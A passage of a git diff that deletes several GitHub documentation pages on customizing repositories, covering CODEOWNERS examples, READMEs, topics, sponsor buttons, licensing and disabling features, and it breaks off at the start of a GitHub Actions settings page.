@js-owner #This is an inline comment. - -# You can also use email addresses if you prefer. They'll be -# used to look up users just like we do for commit author -# emails. -*.go docs@example.com - -# Teams can be specified as code owners as well. Teams should -# be identified in the format @org/team-name. Teams must have -# explicit write access to the repository. In this example, -# the octocats team in the octo-org organization owns all .txt files. -*.txt @octo-org/octocats - -# In this example, @doctocat owns any files in the build/logs -# directory at the root of the repository and any of its -# subdirectories. -/build/logs/ @doctocat - -# The `docs/*` pattern will match files like -# `docs/getting-started.md` but not further nested files like -# `docs/build-app/troubleshooting.md`. -docs/* docs@example.com - -# In this example, @octocat owns any file in an apps directory -# anywhere in your repository. -apps/ @octocat - -# In this example, @doctocat owns any file in the `/docs` -# directory in the root of your repository and any of its -# subdirectories. -/docs/ @doctocat - -# In this example, any change inside the `/scripts` directory -# will require approval from @doctocat or @octocat. -/scripts/ @doctocat @octocat - -# In this example, @octocat owns any file in a `/logs` directory such as -# `/build/logs`, `/scripts/logs`, and `/deeply/nested/logs`. Any changes -# in a `/logs` directory will require approval from @octocat. -**/logs @octocat - -# In this example, @octocat owns any file in the `/apps` -# directory in the root of your repository except for the `/apps/github` -# subdirectory, as its owners are left empty. Without an owner, changes -# to `apps/github` can be made with the approval of any user who has -# write access to the repository. -/apps/ @octocat -/apps/github - -# In this example, @octocat owns any file in the `/apps` -# directory in the root of your repository except for the `/apps/github` -# subdirectory, as this subdirectory has its own owner @doctocat -/apps/ @octocat -/apps/github @doctocat -``` - -## CODEOWNERS and branch protection - -Repository owners can update branch protection rules to ensure that changed code is reviewed by the owners of the changed files. Edit your branch protection rule and enable the option "Require review from Code Owners". For more information, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches). - -> [!NOTE] -> When reviews from code owners are required, an approval from _any_ of the owners is sufficient to meet this requirement. For example, let's say that your CODEOWNERS file contains the following line: -> -> ```text -> *.js @global-owner1 @global-owner2 -> ``` -> -> This means that changes to JavaScript files could be approved by either `@global-owner1` _or_ `@global-owner2`, but approvals from _both_ are not required. - -To protect a repository fully against unauthorized changes, you also need to define an owner for the CODEOWNERS file itself. The most secure method is to define a CODEOWNERS file in the `.github` directory of the repository and define the repository owner as the owner of either the CODEOWNERS file (``/.github/CODEOWNERS @owner_username``) or the whole directory (``/.github/ @owner_username``). - -{% data reusables.repositories.rulesets-alternative %} - -## Further reading - -* [AUTOTITLE](/repositories/working-with-files/managing-files/creating-new-files) -* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository) -* [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/managing-an-individuals-access-to-an-organization-repository) -* [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/managing-team-access-to-an-organization-repository) -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/viewing-a-pull-request-review) diff --git a/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md b/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md deleted file mode 100644 index 825b4b96d414..000000000000 --- a/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: About READMEs -intro: 'You can add a README file to your repository to tell other people why your project is useful, what they can do with your project, and how they can use it.' -redirect_from: - - /articles/section-links-on-readmes-and-blob-pages - - /articles/relative-links-in-readmes - - /articles/about-readmes - - /github/creating-cloning-and-archiving-repositories/about-readmes - - /github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-readmes -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories ---- -## About READMEs - -{% data reusables.repositories.about-READMEs %} - -For more information about providing guidelines for your project, see {% ifversion fpt or ghec %}[AUTOTITLE](/communities/setting-up-your-project-for-healthy-contributions/adding-a-code-of-conduct-to-your-project) and {% endif %}[AUTOTITLE](/communities/setting-up-your-project-for-healthy-contributions). - -A README is often the first item a visitor will see when visiting your repository. README files typically include information on: -* What the project does -* Why the project is useful -* How users can get started with the project -* Where users can get help with your project -* Who maintains and contributes to the project - -If you put your README file in your repository's hidden `.github`, root, or `docs` directory, {% data variables.product.github %} will recognize and automatically surface your README to repository visitors. - -If a repository contains more than one README file, then the file shown is chosen from locations in the following order: the `.github` directory, then the repository's root directory, and finally the `docs` directory. - -When your README is viewed on GitHub, any content beyond 500 KiB will be truncated. - -{% data reusables.profile.profile-readme %} - -## Auto-generated table of contents for README files - -For the rendered view of any Markdown file in a repository, including README files, {% data variables.product.github %} will automatically generate a table of contents based on section headings. You can view the table of contents for a README file by clicking the {% octicon "list-unordered" aria-label="Table of Contents" %} menu icon at the top left of the rendered page. - -![Screenshot of the README for a repository. In the upper-left corner, the "Table of contents" dropdown menu (list icon) is expanded.](/assets/images/help/repository/readme-automatic-toc.png) - -## Section links in README files and blob pages - -{% data reusables.repositories.section-links %} - -For more detailed information about section links, see [Section links](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#section-links). - -## Relative links and image paths in README files - -{% data reusables.repositories.relative-links %} - -## Wikis - -A README should contain only the necessary information for developers to get started using and contributing to your project. Longer documentation is best suited for wikis. For more information, see [AUTOTITLE](/communities/documenting-your-project-with-wikis/about-wikis). - -## Further reading - -* [AUTOTITLE](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository) -* [5 tips for making your {% data variables.product.company_short %} profile page accessible](https://github.blog/2023-10-26-5-tips-for-making-your-github-profile-page-accessible/) in the {% data variables.product.company_short %} blog -{%- ifversion fpt or ghec %} -* [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/setting-up-your-repository/adding-a-codespaces-badge) -{%- endif %} diff --git a/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-repository-languages.md b/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-repository-languages.md deleted file mode 100644 index 31d6b6620b3e..000000000000 --- a/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-repository-languages.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: About repository languages -intro: The files and directories within a repository determine the languages that make up the repository. You can view a repository's languages to get a quick overview of the repository. -redirect_from: - - /articles/my-repository-is-marked-as-the-wrong-language - - /articles/why-isn-t-my-favorite-language-recognized - - /articles/my-repo-is-marked-as-the-wrong-language - - /articles/why-isn-t-sql-recognized-as-a-language - - /articles/why-isn-t-my-favorite-language-recognized-by-github - - /articles/about-repository-languages - - /github/creating-cloning-and-archiving-repositories/about-repository-languages - - /github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-repository-languages -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -shortTitle: Repository languages ---- -{% data variables.product.github %} uses the open source [Linguist library](https://github.com/github-linguist/linguist) to -determine file languages for syntax highlighting and repository statistics. Language statistics will update after you push changes to your default branch. - -Some files are hard to identify, and sometimes projects contain more library and vendor files than their primary code. If you're receiving incorrect results, please consult the Linguist [troubleshooting guide](https://github.com/github-linguist/linguist/blob/main/docs/troubleshooting.md) for help. Note that Linguist only works for repositories with fewer than 100,000 files. - -## Markup languages - -Markup languages are rendered to HTML and displayed inline using our open-source [Markup library](https://github.com/github/markup). At this time, we are not accepting new markup languages to show within {% data variables.product.github %}. However, we do actively maintain our current markup languages. If you see a problem, [please create an issue](https://github.com/github/markup/issues/new). diff --git a/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md b/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md deleted file mode 100644 index acfb98592f8d..000000000000 --- a/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: Classifying your repository with topics -intro: 'To help other people find and contribute to your project, you can add topics to your repository related to your project''s intended purpose, subject area, affinity groups, or other important qualities.' -redirect_from: - - /articles/about-topics - - /articles/classifying-your-repository-with-topics - - /github/administering-a-repository/classifying-your-repository-with-topics - - /github/administering-a-repository/managing-repository-settings/classifying-your-repository-with-topics -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -shortTitle: Classify with topics ---- - -## About topics - -With topics, you can explore repositories in a particular subject area, find projects to contribute to, and discover new solutions to a specific problem. Topics appear on the main page of a repository. You can click a topic name to {% ifversion fpt or ghec %}see related topics and a list of other repositories classified with that topic{% else %}search for other repositories with that topic{% endif %}. - -![Screenshot of the github/docs repository. In the sidebar, three topics are outlined in orange: "docs," "hacktoberfest," and "works-with-codespaces."](/assets/images/help/repository/os-repo-with-topics.png) - -To browse the most used topics, go to {% data variables.product.product_url %}/topics/. - -{% ifversion fpt or ghec %}You can contribute to {% data variables.product.github %}'s set of featured topics in the [github/explore](https://github.com/github/explore) repository. {% endif %} - -Repository admins can add any topics they'd like to a repository. Helpful topics to classify a repository include the repository's intended purpose, subject area, community, or language.{% ifversion fpt or ghec %} Additionally, {% data variables.product.github %} analyzes public repository content and generates suggested topics that repository admins can accept or reject. Private repository content is not analyzed and does not receive topic suggestions.{% endif %} - -{% ifversion fpt %}Public and private{% elsif ghec or ghes %}Public, private, and internal{% endif %} repositories can have topics, although you will only see private repositories that you have access to in topic search results. - -You can search for repositories that are associated with a particular topic. For more information, see [AUTOTITLE](/search-github/searching-on-github/searching-for-repositories#search-by-topic). You can also search for a list of topics on {% data variables.product.github %}. For more information, see [AUTOTITLE](/search-github/searching-on-github/searching-topics). - -When creating a topic: -* Use lowercase letters, numbers, and hyphens. -* Use 50 characters or less. -* Add no more than 20 topics. - -## Adding topics to your repository - -> [!NOTE] -> Topic names are always public, even if you create the topic from within a private repository. - -{% data reusables.repositories.navigate-to-repo %} -1. In the top right corner of the page, to the right of "About", click {% octicon "gear" aria-label="Edit repository metadata" %}. - - ![Screenshot of the top right of the main page for a repository. The "Edit repository metadata" button, shown as a gear icon, is outlined in orange.](/assets/images/help/repository/edit-repository-details-gear.png) - -1. Under "Topics", start to type the topic you want to add to your repository to display a dropdown menu of any matching topics. Click the topic you want to add or continue typing to create a new topic. - - ![Screenshot of the "Topics" field showing example topics: "docs" and "works-with-codespaces." A "Suggested" topic "documentation" is shown below.](/assets/images/help/repository/add-topic-form.png) - -1. Optional, if there are "Suggested" topics displayed under the "Topics" field, click {% octicon "plus" aria-label="Add this topic" %} to add or {% octicon "dash" aria-label="Decline this topic" %} to decline the suggested topic. -1. After you've finished adding topics, click **Save changes**. diff --git a/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/customizing-your-repositorys-social-media-preview.md b/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/customizing-your-repositorys-social-media-preview.md deleted file mode 100644 index b3b3eb7a1d4c..000000000000 --- a/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/customizing-your-repositorys-social-media-preview.md +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: Customizing your repository's social media preview -intro: You can customize the image displayed on social media platforms when someone links to your repository. -redirect_from: - - /articles/customizing-your-repositorys-social-media-preview - - /github/administering-a-repository/customizing-your-repositorys-social-media-preview - - /github/administering-a-repository/managing-repository-settings/customizing-your-repositorys-social-media-preview -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -shortTitle: Social media preview ---- -Until you add an image, repository links expand to show basic information about the repository and the owner's avatar. Adding an image to your repository can help identify your project across various social platforms. - -## Adding an image to customize the social media preview of your repository - -You can upload an image to a public repository, or to a private repository to which you have previously uploaded an image. Your image can only be shared from a public repository. - -> [!TIP] -> Your image should be a PNG, JPG, or GIF file under 1 MB in size. For the best quality rendering, we recommend a size of at least 640 by 320 pixels (1280 by 640 pixels for best display). - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -1. Under "Social preview", click **Edit**. - * To add a new image, click **Upload an image...**. - * To remove an image, click **Remove image**. - - ![Screenshot of the "Social Preview" section. The "Edit" button is outlined in orange. The upload and remove an image options are shown.](/assets/images/help/repository/social-preview.png) - -## About transparency - -We support PNG images with transparency. Many communication platforms support a dark mode, so using a transparent social preview may be beneficial. - -When using an image with transparency, keep in mind how it may look on different color backgrounds or platforms that don't support transparency. - -> [!TIP] -> If you aren't sure, we recommend using an image with a solid background. diff --git a/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/displaying-a-sponsor-button-in-your-repository.md b/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/displaying-a-sponsor-button-in-your-repository.md deleted file mode 100644 index a400e43e8c77..000000000000 --- a/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/displaying-a-sponsor-button-in-your-repository.md +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: Displaying a sponsor button in your repository -intro: You can add a sponsor button in your repository to increase the visibility of funding options for your open source project. -redirect_from: - - /github/building-a-strong-community/displaying-a-sponsor-button-in-your-repository - - /articles/displaying-a-sponsor-button-in-your-repository - - /github/administering-a-repository/displaying-a-sponsor-button-in-your-repository - - /github/administering-a-repository/managing-repository-settings/displaying-a-sponsor-button-in-your-repository -versions: - fpt: '*' - ghec: '*' -topics: - - Repositories -shortTitle: Display a sponsor button ---- -## About FUNDING files - -You can configure your sponsor button by editing a `FUNDING.yml` file in your repository's `.github` folder, on the default branch. You can configure the button to include sponsored developers in {% data variables.product.prodname_sponsors %}, external funding platforms, or a custom funding URL. For more information about {% data variables.product.prodname_sponsors %}, see [AUTOTITLE](/sponsors/getting-started-with-github-sponsors/about-github-sponsors). - -You can add one username, package name, or project name per external funding platform and up to four custom URLs. You can add one organization and up to four sponsored developers in {% data variables.product.prodname_sponsors %}. Add each platform on a new line, using the following syntax. - -Platform | Syntax --------- | ----- -[LFX Mentorship (formerly CommunityBridge)](https://lfx.linuxfoundation.org/tools/mentorship) | `community_bridge: PROJECT-NAME` -[{% data variables.product.prodname_sponsors %}](https://github.com/sponsors) | `github: USERNAME` or `github: [USERNAME, USERNAME, USERNAME, USERNAME]` -[IssueHunt](https://issuehunt.io/) | `issuehunt: USERNAME` -[Ko-fi](https://ko-fi.com/) | `ko_fi: USERNAME` -[Liberapay](https://en.liberapay.com/) | `liberapay: USERNAME` -[Open Collective](https://opencollective.com/) | `open_collective: USERNAME` -[Patreon](https://www.patreon.com/) | `patreon: USERNAME` -[Tidelift](https://tidelift.com/) | `tidelift: PLATFORM-NAME/PACKAGE-NAME` -[Polar](https://www.polar.sh/) | `polar: USERNAME` -[Buy Me a Coffee](https://www.buymeacoffee.com/) | `buy_me_a_coffee: USERNAME` -[thanks.dev](https://thanks.dev/) | `thanks_dev: u/gh/USERNAME` -Custom URL | `custom: LINK1` or `custom: [LINK1, LINK2, LINK3, LINK4]` - -For Tidelift, use the `platform-name/package-name` syntax with the following platform names. - -Language | Platform name --------- | ------------- -JavaScript | `npm` -Python | `pypi` -Ruby | `rubygems` -Java | `maven` -PHP | `packagist` -C# | `nuget` - -Here's an example `FUNDING.yml` file: - -```yaml -github: [octocat, surftocat] -patreon: octocat -tidelift: npm/octo-package -custom: ["https://www.paypal.me/octocat", octocat.com] -``` - -> [!NOTE] -> If a custom URL in an array includes `:`, you must wrap the URL in quotes. For example, `"https://www.paypal.me/octocat"`. - -You can create a default sponsor button for your organization or personal account. For more information, see [AUTOTITLE](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file). - -> [!NOTE] -> Funding links provide a way for open source projects to receive direct financial support from their community. We don’t support the use of funding links for other purposes, such as for advertising, or supporting political, community, or charity groups. If you have questions about whether your intended use is supported, please visit {% data variables.contact.contact_support_page %}. - -## Displaying a sponsor button in your repository - -Anyone with admin permissions can enable a sponsor button in a repository. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -1. On the "General" settings page, in the "Features" section, select **Sponsorships**. -1. In the "Sponsorships" box, click **Set up sponsor button** or **Override funding links**. -1. In the file editor, follow the instructions in the `FUNDING.yml` file to add links to your funding locations. -{% data reusables.files.write_commit_message %} -{% data reusables.files.choose_commit_branch %} -{% data reusables.files.propose_new_file %} - -## Further reading - -* [AUTOTITLE](/sponsors/receiving-sponsorships-through-github-sponsors/about-github-sponsors-for-open-source-contributors) -* [FAQ with the {% data variables.product.prodname_sponsors %} team](https://github.blog/2019-06-12-faq-with-the-github-sponsors-team/) on {% data variables.product.prodname_blog %} diff --git a/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/index.md b/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/index.md deleted file mode 100644 index 9ec437ca8b29..000000000000 --- a/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/index.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Customizing your repository -intro: You can choose the way your repository appears by customizing your repository. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -children: - - /about-readmes - - /licensing-a-repository - - /displaying-a-sponsor-button-in-your-repository - - /customizing-your-repositorys-social-media-preview - - /classifying-your-repository-with-topics - - /about-code-owners - - /about-repository-languages - - /about-citation-files -shortTitle: Customize your repository ---- diff --git a/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository.md b/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository.md deleted file mode 100644 index 0c94df4a3c40..000000000000 --- a/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository.md +++ /dev/null @@ -1,101 +0,0 @@ ---- -title: Licensing a repository -intro: 'Public repositories on GitHub are often used to share open source software. For your repository to truly be open source, you''ll need to license it so that others are free to use, change, and distribute the software.' -redirect_from: - - /articles/open-source-licensing - - /articles/licensing-a-repository - - /github/creating-cloning-and-archiving-repositories/licensing-a-repository - - /github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/licensing-a-repository -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Repositories ---- -## Choosing the right license - -We created [choosealicense.com](https://choosealicense.com), to help you understand how to license your code. A software license tells others what they can and can't do with your source code, so it's important to make an informed decision. - -You're under no obligation to choose a license. However, without a license, the default copyright laws apply, meaning that you retain all rights to your source code and no one may reproduce, distribute, or create derivative works from your work. If you're creating an open source project, we strongly encourage you to include an open source license. The [Open Source Guide](https://opensource.guide/legal/#which-open-source-license-is-appropriate-for-my-project) provides additional guidance on choosing the correct license for your project. - -> [!NOTE] -> If you publish your source code in a public repository on {% data variables.product.github %}, {% ifversion fpt or ghec %}according to the [Terms of Service](/free-pro-team@latest/site-policy/github-terms/github-terms-of-service), {% endif %}other users of {% data variables.location.product_location %} have the right to view and fork your repository. If you have already created a repository and no longer want users to have access to the repository, you can make the repository private. When you change the visibility of a repository to private, existing forks or local copies created by other users will still exist. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility). - -## Determining the location of your license - -Most people place their license text in a file named `LICENSE.txt` (or `LICENSE.md` or `LICENSE.rst`) in the root of the repository; [here's an example from Hubot](https://github.com/hubotio/hubot/blob/main/LICENSE.md). - -Some projects include information about their license in their README. For example, a project's README may include a note saying "This project is licensed under the terms of the MIT license." - -As a best practice, we encourage you to include the license file with your project. - -## Searching GitHub by license type - -You can filter repositories based on their license or license family using the `license` qualifier and the exact license keyword. - -License | License keyword ---- | --- -| Academic Free License v3.0 | `AFL-3.0` | -| Apache license 2.0 | `Apache-2.0` | -| Artistic license 2.0 | `Artistic-2.0` | -| Boost Software License 1.0 | `BSL-1.0` | -| BSD 2-clause "Simplified" license | `BSD-2-Clause` | -| BSD 3-clause "New" or "Revised" license | `BSD-3-Clause` | -| BSD 3-clause Clear license | `BSD-3-Clause-Clear` | -| BSD 4-clause "Original" or "Old" license | `BSD-4-Clause` | -| BSD Zero-Clause license | `0BSD` | -| Creative Commons license family | `CC` | -| Creative Commons Zero v1.0 Universal | `CC0-1.0` | -| Creative Commons Attribution 4.0 | `CC-BY-4.0` | -| Creative Commons Attribution ShareAlike 4.0 | `CC-BY-SA-4.0` | -| Do What The F*ck You Want To Public License | `WTFPL` | -| Educational Community License v2.0 | `ECL-2.0` | -| Eclipse Public License 1.0 | `EPL-1.0` | -| Eclipse Public License 2.0 | `EPL-2.0` | -| European Union Public License 1.1 | `EUPL-1.1` | -| GNU Affero General Public License v3.0 | `AGPL-3.0` | -| GNU General Public License family | `GPL` | -| GNU General Public License v2.0 | `GPL-2.0` | -| GNU General Public License v3.0 | `GPL-3.0` | -| GNU Lesser General Public License family | `LGPL` | -| GNU Lesser General Public License v2.1 | `LGPL-2.1` | -| GNU Lesser General Public License v3.0 | `LGPL-3.0` | -| ISC | `ISC` | -| LaTeX Project Public License v1.3c | `LPPL-1.3c` | -| Microsoft Public License | `MS-PL` | -| MIT | `MIT` | -| Mozilla Public License 2.0 | `MPL-2.0` | -| Open Software License 3.0 | `OSL-3.0` | -| PostgreSQL License | `PostgreSQL` | -| SIL Open Font License 1.1 | `OFL-1.1` | -| University of Illinois/NCSA Open Source License | `NCSA` | -| The Unlicense | `Unlicense` | -| zLib License | `Zlib` | - -When you search by a family license, your results will include all licenses in that family. For example, when you use the query `license:gpl`, your results will include repositories licensed under GNU General Public License v2.0 and GNU General Public License v3.0. For more information, see [AUTOTITLE](/search-github/searching-on-github/searching-for-repositories#search-by-license). - -## Detecting a license - -[The open source Ruby gem Licensee](https://github.com/licensee/licensee) compares the repository's _LICENSE_ file to a short list of known licenses. Licensee also provides the [Licenses API](/rest/licenses) and [gives us insight into how repositories on {% data variables.product.github %} are licensed](https://github.com/blog/1964-open-source-license-usage-on-github-com). If your repository is using a license that isn't listed on the [Choose a License website](https://choosealicense.com/appendix/), you can [request including the license](https://github.com/github/choosealicense.com/blob/gh-pages/CONTRIBUTING.md#adding-a-license). - -If your repository is using a license that is listed on the Choose a License website and it's not displaying clearly at the top of the repository page, it may contain multiple licenses or other complexity. To have your license detected, simplify your _LICENSE_ file and note the complexity somewhere else, such as your repository's _README_ file. - -## Applying a license to a repository with an existing license - -{% ifversion fpt or ghec %} -The license picker is only available when you create a new project on GitHub. - -![Screenshot the "Choose a license" section of the new repository page, including a dropdown menu labeled "License."](/assets/images/help/repository/repository-license-picker.png) -{% endif %} - -You can manually add a license using the browser. For more information on adding a license to a repository, see [AUTOTITLE](/communities/setting-up-your-project-for-healthy-contributions/adding-a-license-to-a-repository). - -## Disclaimer - -The goal of GitHub's open source licensing efforts is to provide a starting point to help you make an informed choice. GitHub displays license information to help users get information about open source licenses and the projects that use them. We hope it helps, but please keep in mind that we’re not lawyers and that we make mistakes like everyone else. For that reason, GitHub provides the information on an "as-is" basis and makes no warranties regarding any information or licenses provided on or through it, and disclaims liability for damages resulting from using the license information. If you have any questions regarding the right license for your code or any other legal issues relating to it, it’s always best to consult with a professional. - -## Further reading - -* The Open Source Guides' section [The Legal Side of Open Source](https://opensource.guide/legal/){% ifversion fpt or ghec %} -* [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}){% endif %} diff --git a/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/disabling-issues.md b/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/disabling-issues.md deleted file mode 100644 index e960b254b057..000000000000 --- a/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/disabling-issues.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Disabling issues -intro: You may wish to turn issues off for your repository if you do not accept contributions or bug reports. -redirect_from: - - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/disabling-issues - - /articles/disabling-issues - - /github/managing-your-work-on-github/disabling-issues - - /github/administering-a-repository/managing-repository-settings/disabling-issues -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests ---- -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -1. Under "Features," deselect **Issues**. - -If you decide to enable issues again in the future, any issues that were previously added will be available. - -{% ifversion fpt or ghec %} - -> [!TIP] -> Please contact us through the {% data variables.contact.contact_support_portal %} if you want to turn off issues because of abuse from strangers. {% data reusables.policies.abuse %} - -{% endif %} diff --git a/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/disabling-projects-in-a-repository.md b/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/disabling-projects-in-a-repository.md deleted file mode 100644 index d58ad9b583cb..000000000000 --- a/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/disabling-projects-in-a-repository.md +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: 'Disabling projects in a repository' -intro: 'Repository administrators can turn off {% data variables.projects.projects_v2_and_v1 %} for a repository if you or your team choose not to use projects.' -redirect_from: - - /github/managing-your-work-on-github/managing-project-boards/disabling-project-boards-in-a-repository - - /articles/disabling-project-boards-in-a-repository - - /github/managing-your-work-on-github/disabling-project-boards-in-a-repository - - /github/administering-a-repository/managing-repository-settings/disabling-project-boards-in-a-repository - - /repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/disabling-project-boards-in-a-repository -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests -shortTitle: 'Disable projects' -allowTitleToDifferFromFilename: true ---- - -## Disabling {% data variables.projects.projects_v2 %} in a repository - -When you disable {% data variables.projects.projects_v2 %} in a repository, linked projects will no longer be available in the repository's **{% octicon "table" aria-hidden="true" %} Projects** tab. Linked projects will remain accessible at an organization or user level. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -1. Under "Features," deselect the **Projects** checkbox. - -{% ifversion projects-v1 %} - -## Disabling {% data variables.projects.projects_v1_boards %} in a repository - -When you disable {% data variables.projects.projects_v1_boards %} in a repository, existing {% data variables.projects.projects_v1_boards %} are inaccessible at their previous URLs. If you decide to re-enable {% data variables.projects.projects_v1_boards %}, any {% data variables.projects.projects_v1_boards %} that were previously added will be available. - -After you disable {% data variables.projects.projects_v1_boards %}, you will no longer see {% data variables.projects.projects_v1_board %} information in timelines or audit logs. - -{% ifversion projects-v1-create-repo-project %}{% else %}You can only create new {% data variables.projects.projects_v1_boards %} in a repository if one or more {% data variables.projects.projects_v1_boards %} already exist in the repository. If the repository has no {% data variables.projects.projects_v1_boards %}, this option will not be available.{% endif %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -1. Under "Features," deselect the **{% data variables.product.prodname_projects_v1_caps %}** checkbox. - -{% endif %} diff --git a/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/enabling-or-disabling-github-discussions-for-a-repository.md b/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/enabling-or-disabling-github-discussions-for-a-repository.md deleted file mode 100644 index 0ba50f664bf9..000000000000 --- a/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/enabling-or-disabling-github-discussions-for-a-repository.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Enabling or disabling GitHub Discussions for a repository -intro: 'You can use {% data variables.product.prodname_discussions %} in a repository as a place for your community to have conversations, ask questions, and post answers without scoping work in an issue.' -permissions: 'People with admin permissions to a repository can enable {% data variables.product.prodname_discussions %} for the repository.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -redirect_from: - - /github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository - - /github/administering-a-repository/managing-repository-settings/enabling-or-disabling-github-discussions-for-a-repository -shortTitle: Discussions ---- - -## Enabling or disabling {% data variables.product.prodname_discussions %} for your repository - -{% data reusables.discussions.enabling-or-disabling-github-discussions-for-your-repository %} -1. To disable discussions, under "Features", deselect **Discussions**. - -You can also use organization discussions to facilitate conversations that span multiple repositories in your organization. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/enabling-or-disabling-github-discussions-for-an-organization). - -## Further reading - -* [AUTOTITLE](/discussions/collaborating-with-your-community-using-discussions/about-discussions) -* [AUTOTITLE](/discussions/managing-discussions-for-your-community) diff --git a/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/index.md b/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/index.md deleted file mode 100644 index 3cbed24690a4..000000000000 --- a/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/index.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Enabling features for your repository -intro: 'You can enable, configure, and disable optional features for your repository.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -children: - - /disabling-issues - - /disabling-projects-in-a-repository - - /managing-github-actions-settings-for-a-repository - - /enabling-or-disabling-github-discussions-for-a-repository - - /managing-security-and-analysis-settings-for-your-repository -shortTitle: Enable features ---- diff --git a/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md b/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md deleted file mode 100644 index ca9e52842f99..000000000000 --- a/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md +++ /dev/null @@ -1,209 +0,0 @@ ---- -title: Managing GitHub Actions settings for a repository -intro: 'You can disable or configure {% data variables.product.prodname_actions %} for a specific repository.' -redirect_from: - - /github/administering-a-repository/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository - - /github/administering-a-repository/managing-repository-settings/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository - - /github/administering-a-repository/disabling-or-limiting-github-actions-for-a-repository - - 